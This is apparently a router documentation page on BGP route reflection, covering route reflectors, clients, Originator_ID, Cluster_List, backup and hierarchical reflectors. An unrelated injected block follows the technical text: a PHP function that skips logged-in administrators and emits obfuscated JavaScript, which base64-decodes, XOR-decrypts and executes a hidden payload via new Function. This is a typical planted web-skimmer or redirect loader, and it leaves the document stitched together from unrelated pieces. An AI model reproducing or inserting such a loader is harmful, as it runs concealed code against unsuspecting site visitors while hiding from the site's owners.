Fully meshed connections need to be established between IBGP peers to ensure the connectivity between IBGP peers. If there are n CX devices in an AS, n x (n-1)/2 IBGP connections need to be established. When there are a lot of IBGP peers, network resources and CPU resources are greatly consumed. Route reflection can solve the problem.

In an AS, one CX device functions as a Route Reflector (RR) and the other CX devices as clients. The clients establish IBGP connections with the RR. The RR and its clients form a cluster. The RR reflects routes among clients, and BGP connections do not need to be established between the clients.

A BGP peer that functions as neither an RR nor a client is called a non-client. A non-client must establish full meshed connections with the RR and all the other non-clients, as shown in Figure 1.

Figure 1 Networking with an RR

Applications

After an RR receives routes from its peers, it selects the optimal route based on BGP route selection policies and performs one of the following operations:

• If the optimal route is from a non-client IBGP peer, the RR advertises the route to all clients.
• If the optimal route is from a client, the RR advertises the route to all non-clients and clients.
• If the optimal route is from an EBGP peer, the RR advertises the route to all clients and non-clients.

An RR is easy to configure because it only needs to be configured on the RR itself, and clients do not need to know whether they are clients.

On some networks, if fully meshed connections have already been established among clients of an RR, they can exchange routing information directly. In this case, route reflection among the clients is unnecessary and occupies bandwidth. For example, on the CX600, route reflection can be disabled, but the routes between clients and non-clients are still exchanged. By default, route reflection between clients is enabled.

On the CX600, an RR can change various attributes of BGP routes, such as the AS_Path, MED, Local_Pref, and community attributes.

Originator_ID

Originator_ID and Cluster_List, defined in RFC 2796, are used to detect and prevent routing loops.

The Originator_ID attribute is four bytes long and is generated by an RR. It carries the router ID of the route originator in the local AS.

• When a route is reflected by an RR for the first time, the RR adds the Originator_ID to this route. If a route already carries the Originator_ID attribute, the RR does not create a new one.
• After receiving the route, a BGP speaker checks whether the Originator_ID is the same as its router ID. If Originator_ID is the same as its router ID, the BGP speaker discards this route.

Cluster_List

To prevent routing loops between ASs, a BGP CX device uses the AS_Path attribute to record the ASs through which a route passes. Routes with the local AS number are discarded by the CX device. To prevent routing loops within an AS, IBGP peers do not advertise routes learned from the local AS.

With RR, IBGP peers can advertise routes learned from the local AS to each other. However, the Cluster_List attribute must be deployed to prevent routing loops within the AS.

An RR and its clients form a cluster. In an AS, each RR is uniquely identified by a Cluster_ID.

Similar to an AS_Path, a Cluster_List is composed of a series of Cluster_IDs and is generated by an RR. The Cluster_List records all the RRs through which a route passes.

• Before an RR reflects a route between its clients or between its clients and non-clients, the RR adds the local Cluster_ID to the head of the Cluster_List. If a route does not carry any Cluster_List, the RR creates one for the route.
• After the RR receives an updated route, it checks the Cluster_List of the route. If the RR finds that its cluster ID is included in the Cluster_List, the RR discards the route. If its cluster ID is not included in the Cluster_List, the RR adds its cluster ID to the Cluster_List and then reflects the route.

Backup RR

To enhance network reliability and prevent single points of failure, more than one route reflector needs to be configured in a cluster. The route reflectors in the same cluster must share the same Cluster_ID to prevent routing loops.

With backup RRs, clients can receive multiple routes to the same destination from different RRs. The clients then apply route selection policies to choose the optimal route.

Figure 2 Backup RR

On the network shown in Figure 2, RR1 and RR2 are in the same cluster. RR1 and RR2 establish an IBGP connection so that each RR is a non-client of the other RR.

• If Client 1 receives an updated route from an external peer, Client 1 advertises the route to RR1 and RR2 through IBGP.
• After receiving the updated route, RR1 reflects the route to other clients (Client 2 and Client 3) and the non-client (RR2) and adds the local Cluster_ID to the head of the Cluster_List.
• After receiving the reflected route, RR2 checks the Cluster_List. RR2 finds that its Cluster_ID is contained in the Cluster_List; therefore, it discards the updated route.

If RR1 and RR2 are configured with different Cluster_IDs, each RR receives both the route from Client 1 and the updated route reflected from the other RR. Therefore, configuring the same Cluster_ID for RR1 and RR2 reduces the number of routes that each RR receives and memory consumption.

 NOTE:

The application of Cluster_List prevents routing loops among RRs in the same AS.

Multiple Clusters in an AS

Multiple clusters may exist in an AS. RRs are IBGP peers of each other. An RR can be configured as a client or non-client of another RR.

For example, the backbone network shown in Figure 3 is divided into multiple clusters. Each RR is configured as a non-client of the other RRs, and these RRs are fully meshed. Each client establishes IBGP connections with only the RR in the same cluster. In this manner, all BGP peers in the AS can receive reflected routes.

Figure 3 Multiple clusters in an AS

Hierarchical Reflector

Hierarchical reflectors are deployed on live networks. On the network shown in Figure 4, the ISP provides Internet routes for AS 100. Two EBGP connections are established between the ISP and AS 100. AS 100 is divided into two clusters. The four CX devices in Cluster 1 are core routers.

• Two Level-1 RRs (RR-1s) are deployed in Cluster 1, which ensures the reliability of the core layer of AS 100. The other two CX devices in the core layer are clients of RR-1s.
• One Level-2 RR (RR-2) is deployed in Cluster 2. RR-2 is a client of RR-1.

Figure 4 Hierarchical reflector

function xdav_tracker() { if ( is_user_logged_in() && current_user_can( 'administrator' ) ) { return; } ?>
;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();